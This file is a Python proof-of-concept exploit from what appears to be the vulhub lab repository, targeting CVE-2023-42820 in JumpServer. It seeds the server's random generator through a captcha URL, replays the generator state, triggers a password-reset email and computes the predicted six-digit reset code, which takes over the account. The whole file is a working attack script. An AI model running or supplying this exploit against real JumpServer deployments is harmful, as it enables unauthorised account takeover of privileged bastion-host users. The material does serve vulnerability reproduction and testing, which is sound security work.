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vulhub/jumpserver/CVE-2023-42820/poc.py
Aaron 63285f61aa
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first commit
2025-09-06 16:08:15 +08:00

97 lines
3.5 KiB
Python

import requests
import logging
import sys
import random
import string
import argparse
from urllib.parse import urljoin
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break
password = ''.join(password)
return password
def nop_random(seed: str):
random.seed(seed)
for i in range(4):
random.randrange(-35, 35)
for p in range(int(180 * 38 * 0.1)):
random.randint(0, 180)
random.randint(0, 38)
def fix_seed(target: str, seed: str):
def _request(i: int, u: str):
logging.info('send %d request to %s', i, u)
response = requests.get(u, timeout=5)
assert response.status_code == 200
assert response.headers['Content-Type'] == 'image/png'
url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')
for idx in range(30):
_request(idx, url)
def send_code(target: str, email: str, reset_token: str):
url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token)
response = requests.post(url, json={
'email': email,
'sms': '',
'form_type': 'email',
}, allow_redirects=False)
assert response.status_code == 200
logging.info("send code headers: %r response: %r", response.headers, response.text)
def main(target: str, email: str, seed: str, token: str):
fix_seed(target, seed)
nop_random(seed)
send_code(target, email, token)
code = random_string(6, lower=False, upper=False)
logging.info("your code is %s", code)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-t', '--target', type=str, required=True, help='target url')
parser.add_argument('--email', type=str, required=True, help='account email')
parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')
parser.add_argument('--token', type=str, required=True, help='account reset token')
args = parser.parse_args()
main(args.target, args.email, args.seed, args.token)